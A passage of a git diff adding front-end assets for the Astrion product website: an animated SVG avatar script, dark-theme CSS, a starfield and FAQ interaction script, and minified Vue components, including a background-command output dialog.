EYE_LEFT = { x: 84, y: 96 }; + var EYE_RIGHT = { x: 116, y: 96 }; + + // 鼠标追踪参数(viewBox 单位) + var TRACK_MAX = 7; // 最大偏移 + var TRACK_RANGE = 140; // 屏幕 px 内达到最大偏移 + var TRACK_LERP = 0.14; + + function eyePathD(n) { + return ( + 'M ' + n[0] + ',' + n[1] + + ' Q ' + n[2] + ',' + n[3] + ' ' + n[4] + ',' + n[5] + + ' Q ' + n[6] + ',' + n[7] + ' ' + n[8] + ',' + n[9] + + ' Q ' + n[10] + ',' + n[11] + ' ' + n[12] + ',' + n[13] + + ' Q ' + n[14] + ',' + n[15] + ' ' + n[16] + ',' + n[17] + ); + } + + function svgEl(tag, attrs) { + var el = document.createElementNS(SVG_NS, tag); + for (var k in attrs) el.setAttribute(k, attrs[k]); + return el; + } + + // —— 眨眼 morph:同构 path 数字线性插值 —— + function morphEyes(eyes, from, to, duration, done) { + var start = null; + function step(ts) { + if (!start) start = ts; + var t = Math.min((ts - start) / duration, 1); + var e = t < 0.5 ? 2 * t * t : 1 - Math.pow(-2 * t + 2, 2) / 2; // easeInOutQuad + var cur = from.map(function (v, i) { return v + (to[i] - v) * e; }); + var d = eyePathD(cur); + eyes[0].setAttribute('d', d); + eyes[1].setAttribute('d', d); + if (t < 1) requestAnimationFrame(step); + else if (done) done(); + } + requestAnimationFrame(step); + } + + // —— 全局鼠标追踪(单 rAF 循环驱动所有实例) —— + var tracked = []; + var mouse = { x: -9999, y: -9999 }; + var rafRunning = false; + + function trackLoop() { + for (var i = 0; i < tracked.length; i++) { + var inst = tracked[i]; + if (!document.contains(inst.svg)) { tracked.splice(i--, 1); continue; } + var rect = inst.svg.getBoundingClientRect(); + if (rect.width === 0) continue; + var cx = rect.left + rect.width / 2; + var cy = rect.top + rect.height / 2; + var dx = mouse.x - cx; + var dy = mouse.y - cy; + var dist = Math.hypot(dx, dy) || 1; + var reach = Math.min(dist / TRACK_RANGE, 1) * TRACK_MAX; + var tx = (dx / dist) * reach; + var ty = (dy / dist) * reach; + inst.cur.x += (tx - inst.cur.x) * TRACK_LERP; + inst.cur.y += (ty - inst.cur.y) * TRACK_LERP; + inst.eyes.setAttribute( + 'transform', + 'translate(' + inst.cur.x.toFixed(2) + ',' + inst.cur.y.toFixed(2) + ')' + ); + } + if (tracked.length > 0) requestAnimationFrame(trackLoop); + else rafRunning = false; + } + + window.addEventListener('mousemove', function (e) { + mouse.x = e.clientX; + mouse.y = e.clientY; + }, { passive: true }); + + function mount(el, opts) { + opts = opts || {}; + var mode = opts.mode || 'idle'; + var svg = svgEl('svg', { + class: 'astrion-avatar', + viewBox: '0 0 200 200', + 'aria-hidden': 'true' + }); + svg.appendChild(svgEl('path', { class: 'aa-frame', d: FRAME_PATH })); + + if (mode === 'think') { + var think = svgEl('g', { class: 'aa-think' }); + [80, 100, 120].forEach(function (x) { + think.appendChild(svgEl('circle', { class: 'aa-think-dot', cx: x, cy: 100, r: 7 })); + }); + svg.appendChild(think); + } else { + var eyes = svgEl('g', { class: 'aa-eyes' }); + var eyeL = svgEl('path', { + class: 'aa-eye', + transform: 'translate(' + EYE_LEFT.x + ',' + EYE_LEFT.y + ')', + d: eyePathD(EYE_IDLE) + }); + var eyeR = svgEl('path', { + class: 'aa-eye', + transform: 'translate(' + EYE_RIGHT.x + ',' + EYE_RIGHT.y + ')', + d: eyePathD(EYE_IDLE) + }); + eyes.appendChild(eyeL); + eyes.appendChild(eyeR); + svg.appendChild(eyes); + + var pair = [eyeL, eyeR]; + + if (opts.blink !== false) { + (function scheduleBlink() { + var delay = 2200 + Math.random() * 2600; + setTimeout(function () { + if (!document.contains(svg)) return; + morphEyes(pair, EYE_IDLE, EYE_BLINK, 120, function () { + setTimeout(function () { + morphEyes(pair, EYE_BLINK, EYE_IDLE, 170, scheduleBlink); + }, 60); + }); + }, delay); + })(); + } + + if (opts.track !== false) { + tracked.push({ svg: svg, eyes: eyes, cur: { x: 0, y: 0 } }); + if (!rafRunning) { + rafRunning = true; + requestAnimationFrame(trackLoop); + } + } + } + + el.appendChild(svg); + return svg; + } + + window.AstrionAvatar = { mount: mount }; +})(); diff --git a/demo/site-assets/shield.svg b/demo/site-assets/shield.svg new file mode 100644 index 0000000..9ce15a2 --- /dev/null +++ b/demo/site-assets/shield.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/demo/site-assets/site.css b/demo/site-assets/site.css new file mode 100644 index 0000000..d40b3c1 --- /dev/null +++ b/demo/site-assets/site.css @@ -0,0 +1,548 @@ +/* ═══════════════════════════════════════════════════════════ + Astrion 官网主页 — 深空主题 + 原则:无 glow、无圆角套娃、无大面积纯黑、克制用色 + ═══════════════════════════════════════════════════════════ */ + +:root { + /* 深空底色:带蓝意的暗色,不用纯黑 */ + --bg-0: #0c1120; /* 页面最深底 */ + --bg-1: #111830; /* 天顶微亮 */ + --bg-panel: #151c31; /* 实体面板(不透明) */ + --text-1: #eef1f8; + --text-2: #a7b0c4; + --text-3: #6b7488; + --line: rgba(168, 180, 210, 0.14); + --line-strong: rgba(168, 180, 210, 0.24); + /* 唯一强调色:星空冰蓝,克制使用(eyebrow/hover/active 态) */ + --accent: #a9c2f0; + --accent-strong: #c1d4f6; + --accent-ink: #0c1120; + /* CTA 用星白实底 */ + --cta: #eef1f8; + --cta-hover: #dde3f0; + /* 迷你示意用的状态色(低饱和) */ + --ok: #7ba889; + --del: #b0766a; + + --font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC", + "Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif; + --font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, + "Liberation Mono", monospace; + + --page-max: 1120px; + --topbar-h: 60px; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +html { + scroll-behavior: smooth; + /* 橡皮筋过度滚动时露出的底色:与页面渐变同源,杜绝露白 */ + background: linear-gradient(180deg, #111830 0%, #0c1120 34rem, #0c1120 100%); + background-color: #0c1120; +} + +body { + font-family: var(--font-sans); + color: var(--text-1); + background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 34rem, var(--bg-0) 100%); + background-attachment: fixed; + line-height: 1.6; + -webkit-font-smoothing: antialiased; + overflow-x: hidden; +} + +::selection { background: rgba(169, 194, 240, 0.3); } + +a { color: inherit; text-decoration: none; } + +code { + font-family: var(--font-mono); + font-size: 0.86em; + padding: 0.1em 0.42em; + background: rgba(168, 180, 210, 0.12); + border-radius: 5px; +} + +/* ───────── 星空画布:fixed 全页背景,内容浮在上 ───────── */ + +#starfield { + position: fixed; + inset: 0; + width: 100%; + height: 100%; + z-index: 0; + pointer-events: none; +} + +.topbar, main, .footer { position: relative; z-index: 1; } + +/* ───────── 通用 ───────── */ + +.eyebrow { + font-family: var(--font-mono); + font-size: 12px; + letter-spacing: 0.18em; + text-transform: uppercase; + color: var(--accent); +} + +.section-head { + max-width: var(--page-max); + margin: 0 auto; + padding: 0 32px; +} + +.section-title { + margin-top: 14px; + font-size: clamp(26px, 3.4vw, 36px); + font-weight: 650; + letter-spacing: -0.01em; + line-height: 1.25; +} + +.section-sub { + margin-top: 12px; + max-width: 560px; + color: var(--text-2); + font-size: 15px; +} + +/* ───────── 按钮:固定高度,状态切换不改尺寸 ───────── */ + +.btn { + display: inline-flex; + align-items: center; + justify-content: center; + height: 44px; + padding: 0 22px; + border-radius: 8px; + font-size: 15px; + font-weight: 550; + letter-spacing: 0.01em; + border: 1px solid transparent; + transition: background-color 0.16s ease, border-color 0.16s ease, color 0.16s ease; + white-space: nowrap; +} + +.btn-sm { height: 36px; padding: 0 16px; font-size: 13.5px; } + +.btn-primary { background: var(--cta); color: var(--accent-ink); } +.btn-primary:hover { background: var(--cta-hover); } + +.btn-ghost { border-color: var(--line-strong); color: var(--text-1); } +.btn-ghost:hover { border-color: var(--text-2); background: rgba(168, 180, 210, 0.06); } + +/* ───────── 顶栏 ───────── */ + +.topbar { + position: fixed; + top: 0; left: 0; right: 0; + height: var(--topbar-h); + z-index: 50; + /* 初始透明(浮在 hero 上),滚动后实底 */ + background: transparent; + border-bottom: 1px solid transparent; + transition: background-color 0.2s ease, border-color 0.2s ease; +} + +.topbar.scrolled { + background: var(--bg-0); + border-bottom-color: var(--line); +} + +.topbar-inner { + max-width: var(--page-max); + height: 100%; + margin: 0 auto; + padding: 0 32px; + display: flex; + align-items: center; + justify-content: space-between; +} + +.brand { display: inline-flex; align-items: center; gap: 10px; } +.brand-logo { width: 26px; height: 26px; color: var(--text-1); display: inline-flex; } +.brand-logo .astrion-avatar { width: 100%; height: 100%; } +.brand-logo-sm { width: 20px; height: 20px; } +.brand-name { font-size: 16px; font-weight: 620; letter-spacing: 0.01em; } + +.topnav { display: flex; align-items: center; gap: 26px; } + +.topnav-link { + font-size: 14px; + color: var(--text-2); + transition: color 0.15s ease; +} +.topnav-link:hover { color: var(--text-1); } + +/* ───────── 总览 ───────── */ + +.hero { + max-width: var(--page-max); + margin: 0 auto; + padding: calc(var(--topbar-h) + 96px) 32px 110px; +} + +.hero-title-row { margin-top: 22px; } + +.hero-title { + font-size: clamp(72px, 12.5vw, 156px); + font-weight: 700; + letter-spacing: -0.035em; + line-height: 1; + background: linear-gradient(160deg, #f4f6fc 30%, #b9c3da 100%); + -webkit-background-clip: text; + background-clip: text; + color: transparent; +} + +/* 六边形眼睛跟随标题字号: + 盒高 1.025em → 六边形实高 ≈0.71em(= 大写字高), + vertical-align 补偿 viewBox 底部余白,与标题 baseline 对齐 */ +.hero-mascot { + display: inline-block; + width: 1.025em; + height: 1.025em; + margin-left: 0.16em; + vertical-align: -0.157em; + color: #eef1f8; +} +.hero-mascot .astrion-avatar { width: 100%; height: 100%; } + +.hero-sub { + margin-top: 28px; + max-width: 520px; + font-size: 17px; + color: var(--text-2); +} + +.hero-actions { margin-top: 34px; display: flex; gap: 14px; } + +.hero-platforms { + margin-top: 44px; + display: flex; + align-items: center; + flex-wrap: wrap; + gap: 14px; + font-family: var(--font-mono); + font-size: 13px; + color: var(--text-3); +} + +.platform em { font-style: normal; color: var(--text-3); opacity: 0.75; } +.platform-sep { width: 3px; height: 3px; border-radius: 50%; background: var(--text-3); opacity: 0.5; } + +/* ───────── 演示区 ───────── */ + +.demo { padding: 60px 0 40px; scroll-margin-top: 40px; } + +.demo-frame-wrap { + max-width: calc(var(--page-max) + 2px); + margin: 34px auto 0; + padding: 0 32px; +} + +.demo-frame { + position: relative; + border: 1px solid var(--line-strong); + border-radius: 10px; + overflow: hidden; + background: var(--bg-panel); +} + +.demo-frame iframe { + display: block; + border: 0; + width: 1400px; /* 逻辑尺寸:永不触发窄屏断点 */ + height: 860px; + transform-origin: top left; +} + +.demo-note { + max-width: var(--page-max); + margin: 14px auto 0; + padding: 0 32px; + font-size: 13px; + color: var(--text-3); +} + +/* ───────── 特色功能 ───────── */ + +.features { padding: 110px 0 30px; scroll-margin-top: 20px; } + +.feature-list { + max-width: var(--page-max); + margin: 26px auto 0; + padding: 0 32px; +} + +.feature-row { + display: block; + padding: 54px 0; + border-top: 1px solid var(--line); +} +.feature-row:last-child { border-bottom: 1px solid var(--line); } + +/* 带动画的行:左文右动画 */ +.feature-row--anim { + display: grid; + grid-template-columns: minmax(0, 1fr) minmax(0, 460px); + gap: clamp(32px, 6vw, 80px); + align-items: center; +} +.feature-anim { + position: relative; + height: 388px; +} +/* 动画内部元素样式在 anim-embed.css(与 anim-demo 共用类名, token 取自主题) */ + +.feature-index { + font-family: var(--font-mono); + font-size: 12.5px; + color: var(--text-3); + letter-spacing: 0.14em; +} + +.feature-title { + margin-top: 10px; + font-size: clamp(21px, 2.6vw, 27px); + font-weight: 640; + letter-spacing: -0.01em; +} + +.feature-desc { + margin-top: 12px; + max-width: 560px; + font-size: 15px; + color: var(--text-2); +} + +/* —— 迷你 UI 示意:纯 CSS,无装饰性元素 —— */ + +.feature-visual { + display: flex; + justify-content: center; + align-items: center; + min-height: 120px; +} + +/* 01 三档分段控件 */ +.mini-modeswitch { + display: flex; + border: 1px solid var(--line-strong); + border-radius: 9px; + overflow: hidden; + background: var(--bg-panel); +} +.mini-mode { + height: 38px; + display: flex; + align-items: center; + padding: 0 22px; + font-size: 14px; + color: var(--text-2); + border-left: 1px solid var(--line); +} +.mini-mode:first-child { border-left: 0; } +.mini-mode.is-active { background: rgba(169, 194, 240, 0.13); color: var(--accent-strong); } + +/* 02 权限开关组 */ +.mini-perms { + display: flex; + flex-direction: column; + gap: 2px; + border: 1px solid var(--line-strong); + border-radius: 9px; + background: var(--bg-panel); + padding: 6px 0; + min-width: 260px; +} +.mini-perm { + display: flex; + align-items: center; + justify-content: space-between; + height: 40px; + padding: 0 16px; +} +.mini-perm + .mini-perm { border-top: 1px solid var(--line); } +.mini-perm-label { font-size: 14px; color: var(--text-1); } +.mini-switch { + width: 34px; + height: 20px; + border-radius: 10px; + background: rgba(168, 180, 210, 0.22); + position: relative; + transition: background-color 0.16s ease; +} +.mini-switch::after { + content: ""; + position: absolute; + top: 2px; left: 2px; + width: 16px; height: 16px; + border-radius: 50%; + background: var(--text-1); + transition: transform 0.16s ease; +} +.mini-switch.is-on { background: var(--accent); } +.mini-switch.is-on::after { transform: translateX(14px); background: #0c1120; } + +/* 03 diff 片段 */ +.mini-diff { + border: 1px solid var(--line-strong); + border-radius: 9px; + background: var(--bg-panel); + font-family: var(--font-mono); + font-size: 12.5px; + min-width: 300px; + overflow: hidden; +} +.mini-diff-file { + padding: 9px 14px; + color: var(--text-2); + border-bottom: 1px solid var(--line); +} +.mini-diff-line { padding: 5px 14px; white-space: nowrap; } +.mini-diff-line.is-add { color: var(--ok); background: rgba(123, 168, 137, 0.08); } +.mini-diff-line.is-del { color: var(--del); background: rgba(176, 118, 106, 0.07); } +.mini-diff-stat { + padding: 8px 14px; + border-top: 1px solid var(--line); + color: var(--text-3); +} + +/* 04 检查点时间线 */ +.mini-timeline { + display: flex; + flex-direction: column; + gap: 0; + border: 1px solid var(--line-strong); + border-radius: 9px; + background: var(--bg-panel); + padding: 8px 0; + min-width: 260px; +} +.mini-tl-node { + display: flex; + align-items: center; + gap: 12px; + height: 40px; + padding: 0 16px; + position: relative; +} +.mini-tl-node + .mini-tl-node::before { + content: ""; + position: absolute; + left: 21px; + top: -6px; + width: 1px; + height: 12px; + background: var(--line-strong); +} +.mini-tl-dot { + width: 11px; height: 11px; + border-radius: 50%; + border: 2px solid var(--text-3); + flex: none; +} +.mini-tl-node.is-current .mini-tl-dot { border-color: var(--accent); background: var(--accent); } +.mini-tl-label { font-size: 14px; color: var(--text-1); } +.mini-tl-node.is-current .mini-tl-label { color: var(--accent-strong); } + +/* ───────── FAQ ───────── */ + +.faq { padding: 110px 0 60px; scroll-margin-top: 20px; } + +.faq-list { + max-width: 760px; + margin: 30px auto 0; + padding: 0 32px; +} + +.faq-item { border-top: 1px solid var(--line); } +.faq-item:last-child { border-bottom: 1px solid var(--line); } + +.faq-q { + display: flex; + align-items: center; + justify-content: space-between; + gap: 20px; + min-height: 62px; + padding: 12px 2px; + cursor: pointer; + font-size: 16px; + font-weight: 550; + list-style: none; + transition: color 0.15s ease; +} +.faq-q::-webkit-details-marker { display: none; } +.faq-q:hover { color: var(--accent-strong); } + +.faq-icon { + flex: none; + width: 14px; height: 14px; + position: relative; +} +.faq-icon::before, .faq-icon::after { + content: ""; + position: absolute; + background: var(--text-2); + transition: transform 0.2s ease; +} +.faq-icon::before { left: 0; top: 6px; width: 14px; height: 1.5px; } +.faq-icon::after { left: 6.25px; top: 0; width: 1.5px; height: 14px; } +.faq-item[open] .faq-icon::after { transform: scaleY(0); } + +.faq-a { + overflow: hidden; + /* JS 做高度动画;无 JS 时 details 原生展开也完整可读 */ +} +.faq-a p { + padding: 2px 2px 22px; + max-width: 640px; + color: var(--text-2); + font-size: 15px; +} + +/* ───────── 底栏 ───────── */ + +.footer { + border-top: 1px solid var(--line); + margin-top: 60px; +} + +.footer-inner { + max-width: var(--page-max); + margin: 0 auto; + padding: 26px 32px; + display: flex; + align-items: center; + justify-content: space-between; +} + +.footer-brand { + display: flex; + align-items: center; + gap: 9px; + font-size: 14px; + font-weight: 580; + color: var(--text-2); +} + +.footer-links { display: flex; gap: 24px; } +.footer-links a { font-size: 13.5px; color: var(--text-3); transition: color 0.15s ease; } +.footer-links a:hover { color: var(--text-1); } + +/* ───────── 响应式 ───────── */ + +@media (max-width: 860px) { + .feature-row--anim { grid-template-columns: minmax(0, 1fr); } + .feature-anim { height: 340px; } + .topnav-link { display: none; } + .hero { padding-top: calc(var(--topbar-h) + 64px); padding-bottom: 72px; } +} + +@media (prefers-reduced-motion: reduce) { + html { scroll-behavior: auto; } + .btn, .topbar, .faq-q { transition: none; } +} diff --git a/demo/site-assets/site.js b/demo/site-assets/site.js new file mode 100644 index 0000000..7fc21dd --- /dev/null +++ b/demo/site-assets/site.js @@ -0,0 +1,276 @@ +/* Astrion 官网主页交互 + * 1) 多层视差星空(无连线、无光晕:实心星点 + 闪烁 + 极慢漂移 + 鼠标/滚动视差 + 偶发流星) + * 2) 顶栏滚动态 + * 3) FAQ 手风琴平滑展开(details + 高度动画) + * 4) 演示区 iframe 等比缩放(内部固定 1400×860 逻辑尺寸) + * 5) 挂载品牌眼睛(眨眼 + 鼠标追踪) + */ + +(function () { + 'use strict'; + + var reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches; + + /* ═══════════ 1) 星空 ═══════════ */ + + var canvas = document.getElementById('starfield'); + var ctx = canvas.getContext('2d'); + var W = 0; + var H = 0; + var DPR = Math.min(window.devicePixelRatio || 1, 2); + + // 层:远 → 近。count 按屏幕面积缩放,drift 为每秒下落 px,parallax 为鼠标/滚动视差系数 + var LAYERS = [ + { density: 1 / 5200, sizeMin: 0.4, sizeMax: 0.9, drift: 1.2, parallax: 6, twinkle: 0.35, alpha: 0.55 }, + { density: 1 / 9800, sizeMin: 0.7, sizeMax: 1.3, drift: 2.6, parallax: 14, twinkle: 0.55, alpha: 0.75 }, + { density: 1 / 21000, sizeMin: 1.1, sizeMax: 1.9, drift: 4.5, parallax: 26, twinkle: 0.8, alpha: 1.0 } + ]; + + var stars = []; + var meteors = []; + var nextMeteorAt = 0; + + function resize() { + W = window.innerWidth; + H = window.innerHeight; + canvas.width = Math.round(W * DPR); + canvas.height = Math.round(H * DPR); + canvas.style.width = W + 'px'; + canvas.style.height = H + 'px'; + ctx.setTransform(DPR, 0, 0, DPR, 0, 0); + seed(); + if (reduceMotion) draw(0, 0, 0); + } + + function seed() { + stars = []; + var area = W * H; + for (var li = 0; li < LAYERS.length; li++) { + var L = LAYERS[li]; + var n = Math.max(12, Math.round(area * L.density)); + for (var i = 0; i < n; i++) { + stars.push({ + layer: li, + x: Math.random() * W, + y: Math.random() * H, + r: L.sizeMin + Math.random() * (L.sizeMax - L.sizeMin), + // 闪烁相位与速度(部分星几乎不闪,画面才稳) + phase: Math.random() * Math.PI * 2, + speed: 0.25 + Math.random() * 0.9, + amp: 0.25 + Math.random() * 0.75 + }); + } + } + } + + // 鼠标视差目标值 + var mouseTx = 0; + var mouseTy = 0; + var mouseX = 0; + var mouseY = 0; + + window.addEventListener('mousemove', function (e) { + mouseTx = e.clientX / W - 0.5; + mouseTy = e.clientY / H - 0.5; + }, { passive: true }); + + function scheduleMeteor(now) { + // 22~48 秒一颗,保持稀有 + nextMeteorAt = now + 22000 + Math.random() * 26000; + } + + function spawnMeteor() { + var fromLeft = Math.random() < 0.5; + var startX = fromLeft ? -40 : W * (0.35 + Math.random() * 0.65); + var startY = Math.random() * H * 0.4; + var angle = fromLeft ? 0.32 + Math.random() * 0.2 : Math.PI - (0.32 + Math.random() * 0.2); + var speed = 380 + Math.random() * 240; + meteors.push({ + x: startX, + y: startY, + vx: Math.cos(angle) * speed, + vy: Math.abs(Math.sin(angle)) * speed, + life: 0, + ttl: 0.7 + Math.random() * 0.35 + }); + } + + var lastTs = 0; + + function tick(ts) { + if (document.hidden) { + lastTs = ts; + requestAnimationFrame(tick); + return; + } + var dt = Math.min((ts - lastTs) / 1000 || 0, 0.05); + lastTs = ts; + var now = ts; + + // 鼠标视差缓动 + mouseX += (mouseTx - mouseX) * 0.04; + mouseY += (mouseTy - mouseY) * 0.04; + + if (now >= nextMeteorAt) { + spawnMeteor(); + scheduleMeteor(now); + } + + draw(dt, ts, window.scrollY || 0); + + // 流星生命推进 + for (var i = meteors.length - 1; i >= 0; i--) { + var m = meteors[i]; + m.life += dt; + m.x += m.vx * dt; + m.y += m.vy * dt; + if (m.life > m.ttl || m.y > H + 60) meteors.splice(i, 1); + } + + requestAnimationFrame(tick); + } + + function draw(dt, ts, scrollY) { + ctx.clearRect(0, 0, W, H); + var t = ts / 1000; + + for (var i = 0; i < stars.length; i++) { + var s = stars[i]; + var L = LAYERS[s.layer]; + if (dt) { + s.y += L.drift * dt; + if (s.y > H + 4) { s.y = -4; s.x = Math.random() * W; } + } + // 视差:滚动让星野整体上移(近处更明显),鼠标让层间错动 + var px = s.x + mouseX * L.parallax * 2; + var py = s.y - (scrollY * L.parallax * 0.012) + mouseY * L.parallax; + // 纵向包裹,保证滚动后星点仍铺满 + var wrappedY = ((py % (H + 8)) + (H + 8)) % (H + 8) - 4; + + var tw = 1 - L.twinkle * 0.5 + L.twinkle * 0.5 * Math.sin(t * s.speed + s.phase) * s.amp; + var a = L.alpha * Math.max(0.15, Math.min(1, tw)); + ctx.globalAlpha = a; + ctx.fillStyle = '#dfe6f5'; + ctx.fillRect(px, wrappedY, s.r, s.r); + } + + // 流星:短细线段,头部略亮(线性渐变线条,不是光晕) + for (var j = 0; j < meteors.length; j++) { + var m = meteors[j]; + var fade = 1 - m.life / m.ttl; + var tailX = m.x - m.vx * 0.14; + var tailY = m.y - m.vy * 0.14; + var grad = ctx.createLinearGradient(tailX, tailY, m.x, m.y); + grad.addColorStop(0, 'rgba(223,230,245,0)'); + grad.addColorStop(1, 'rgba(223,230,245,' + (0.6 * fade).toFixed(3) + ')'); + ctx.globalAlpha = 1; + ctx.strokeStyle = grad; + ctx.lineWidth = 1.1; + ctx.beginPath(); + ctx.moveTo(tailX, tailY); + ctx.lineTo(m.x, m.y); + ctx.stroke(); + } + + ctx.globalAlpha = 1; + } + + resize(); + window.addEventListener('resize', resize, { passive: true }); + + if (reduceMotion) { + draw(0, 0, 0); // 静态星图 + } else { + scheduleMeteor(performance.now() + 6000); // 首颗稍提前,证明存在 + requestAnimationFrame(tick); + // 滚动时重绘由 rAF 持续驱动,无需 scroll 监听 + } + + /* ═══════════ 2) 顶栏滚动态 ═══════════ */ + + var topbar = document.getElementById('topbar'); + function onScroll() { + topbar.classList.toggle('scrolled', (window.scrollY || 0) > 24); + } + window.addEventListener('scroll', onScroll, { passive: true }); + onScroll(); + + /* ═══════════ 3) FAQ 平滑手风琴 ═══════════ */ + + var faqItems = document.querySelectorAll('.faq-item'); + faqItems.forEach(function (item) { + var summary = item.querySelector('.faq-q'); + var panel = item.querySelector('.faq-a'); + summary.addEventListener('click', function (e) { + e.preventDefault(); + if (reduceMotion) { + item.open = !item.open; + return; + } + if (item.open) { + // 收起:先固定高度再过渡到 0 + var h0 = panel.offsetHeight; + panel.style.height = h0 + 'px'; + requestAnimationFrame(function () { + panel.style.transition = 'height 0.22s ease'; + panel.style.height = '0px'; + }); + panel.addEventListener('transitionend', function done() { + panel.removeEventListener('transitionend', done); + panel.style.cssText = ''; + item.open = false; + }); + } else { + item.open = true; + var h1 = panel.offsetHeight; + panel.style.height = '0px'; + requestAnimationFrame(function () { + panel.style.transition = 'height 0.24s ease'; + panel.style.height = h1 + 'px'; + }); + panel.addEventListener('transitionend', function done() { + panel.removeEventListener('transitionend', done); + panel.style.cssText = ''; + }); + } + }); + }); + + /* ═══════════ 4) 演示区等比缩放 ═══════════ */ + + var frame = document.getElementById('demoFrame'); + var iframe = document.getElementById('demoIframe'); + var DEMO_W = 1400; + var DEMO_H = 860; + + function fitDemo() { + var available = frame.clientWidth; + var scale = Math.min(1, available / DEMO_W); + iframe.style.transform = 'scale(' + scale + ')'; + frame.style.height = Math.round(DEMO_H * scale) + 'px'; + } + + if ('ResizeObserver' in window) { + new ResizeObserver(fitDemo).observe(frame); + } + window.addEventListener('resize', fitDemo, { passive: true }); + fitDemo(); + + /* ═══════════ 5) 品牌眼睛 ═══════════ */ + + if (window.AstrionAvatar) { + AstrionAvatar.mount(document.getElementById('heroMascot'), { mode: 'idle', blink: true, track: true }); + } + + /* ═══════════ 6) 运行模式动画(功能 01 行) ═══════════ */ + + if (window.AnimModes && document.getElementById('animModes')) { + AnimModes.init(document.getElementById('animModes')); + } + + /* ═══════════ 7) 沙箱与网络授权动画(功能 02 行) ═══════════ */ + + if (window.AnimSandbox && document.getElementById('animSandbox')) { + AnimSandbox.init(document.getElementById('animSandbox')); + } +})(); diff --git a/demo/static/astrion-avatar.svg b/demo/static/astrion-avatar.svg new file mode 100644 index 0000000..02df368 --- /dev/null +++ b/demo/static/astrion-avatar.svg @@ -0,0 +1,35 @@ + diff --git a/demo/static/dist/assets/BackgroundCommandDialog.js b/demo/static/dist/assets/BackgroundCommandDialog.js new file mode 100644 index 0000000..8cba4b1 --- /dev/null +++ b/demo/static/dist/assets/BackgroundCommandDialog.js @@ -0,0 +1 @@ +import{d as w,b as n,e as T,s as D,u as a,c as i,A as E,g as c,t as d,n as I,f as m,T as L,k as z,l as p}from"./runtime-dom.esm-bundler.js";import{k as N,s as V}from"./main.js";import"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";import"./FancyCheck.js";const A={class:"subagent-activity-modal bg-command-modal"},M={class:"subagent-activity-header"},O={class:"subagent-activity-title"},R={class:"subagent-activity-meta"},j={key:0,class:"subagent-activity-summary"},q={key:0,class:"subagent-activity-actions"},F=["disabled"],G={key:0,class:"subagent-activity-error"},H={class:"subagent-activity-body"},J={key:0,class:"subagent-activity-error"},K={key:1,class:"subagent-activity-empty"},P={key:2,class:"bg-command-output"},$=w({__name:"BackgroundCommandDialog",setup(Q){const v=N(),{activeCommand:o,activeDetail:u,detailLoading:k,detailError:y,stoppingCommandIds:C}=V(v),r=z(""),g=()=>{v.closeCommand()},S=s=>{const t=(s||"").toString().toLowerCase();return["completed","failed","timeout","cancelled"].includes(t)},B=p(()=>{var t,e,l;const s=((t=u.value)==null?void 0:t.status)||((e=o.value)==null?void 0:e.status);return(l=o.value)!=null&&l.command_id?!S(s):!1}),_=p(()=>{var t,e;const s=(t=o.value)==null?void 0:t.command_id;return s?!!((e=C.value)!=null&&e[s]):!1}),x=async()=>{var e;const s=(e=o.value)==null?void 0:e.command_id;if(!s||_.value)return;r.value="";const t=await v.cancelCommand(s);t!=null&&t.success||(r.value=(t==null?void 0:t.error)||"停止失败")},b=p(()=>{var t;return(((t=u.value)==null?void 0:t.output)||"").toString()});return(s,t)=>(n(),T(L,{name:"overlay-fade"},{default:D(()=>{var e,l,f,h;return[a(o)?(n(),i("div",{key:0,class:"subagent-activity-overlay",onClick:E(g,["self"])},[c("div",A,[c("div",M,[c("div",O,"后台指令 "+d(a(o).command_id),1),c("button",{type:"button",class:"subagent-activity-close",onClick:g},"×")]),c("div",R,[c("span",{class:I(["subagent-activity-status",((e=a(u))==null?void 0:e.status)||a(o).status||""])},d(((l=a(u))==null?void 0:l.status)||a(o).status||"running"),3),(f=a(u))!=null&&f.command||a(o).command?(n(),i("span",j,d(((h=a(u))==null?void 0:h.command)||a(o).command),1)):m("",!0)]),B.value?(n(),i("div",q,[c("button",{type:"button",class:"subagent-stop-btn",disabled:_.value,onClick:x},d(_.value?"停止中...":"手动停止"),9,F),r.value?(n(),i("span",G,d(r.value),1)):m("",!0)])):m("",!0),c("div",H,[a(y)?(n(),i("div",J,d(a(y)),1)):a(k)&&!b.value?(n(),i("div",K," 正在读取后台指令输出... ")):(n(),i("pre",P,d(b.value||"[no_output]"),1))])])])):m("",!0)]}),_:1}))}});export{$ as default}; diff --git a/demo/static/dist/assets/ConversationReviewDialog.css b/demo/static/dist/assets/ConversationReviewDialog.css new file mode 100644 index 0000000..6db4ca4 --- /dev/null +++ b/demo/static/dist/assets/ConversationReviewDialog.css @@ -0,0 +1 @@ +.review-overlay[data-v-a8179ad5]{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--theme-overlay-scrim);-webkit-backdrop-filter:blur(8px);backdrop-filter:blur(8px);display:flex;align-items:center;justify-content:center;z-index:420;padding:24px}.review-window[data-v-a8179ad5]{width:min(1040px,96vw);max-width:96vw;height:min(700px,88vh);max-height:88vh;background:var(--surface-panel);border:1px solid var(--border-default);border-radius:16px;box-shadow:var(--theme-shadow-strong);display:flex;flex-direction:column;overflow:hidden}.review-header[data-v-a8179ad5]{flex:0 0 auto;height:64px;padding:0 20px;display:flex;align-items:center;justify-content:space-between;gap:12px;border-bottom:1px solid var(--border-default)}.header-titles[data-v-a8179ad5]{min-width:0}.review-header .title[data-v-a8179ad5]{font-size:16px;font-weight:700;line-height:1.2;color:var(--text-primary);letter-spacing:-.01em}.review-header .subtitle[data-v-a8179ad5]{font-size:12px;line-height:1.2;color:var(--text-secondary);margin-top:4px}.header-actions[data-v-a8179ad5]{display:flex;align-items:center;gap:10px;min-width:0}.hint[data-v-a8179ad5]{flex:0 1 auto;height:28px;display:inline-flex;align-items:center;font-size:12px;color:var(--text-secondary);padding:0 10px;border-radius:8px;background:var(--theme-tab-active);max-width:280px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.icon-close-btn[data-v-a8179ad5]{flex:0 0 auto;width:32px;height:32px;display:grid;place-items:center;border:0;border-radius:9px;background:transparent;color:var(--text-secondary);cursor:pointer;transition:background .14s ease,color .14s 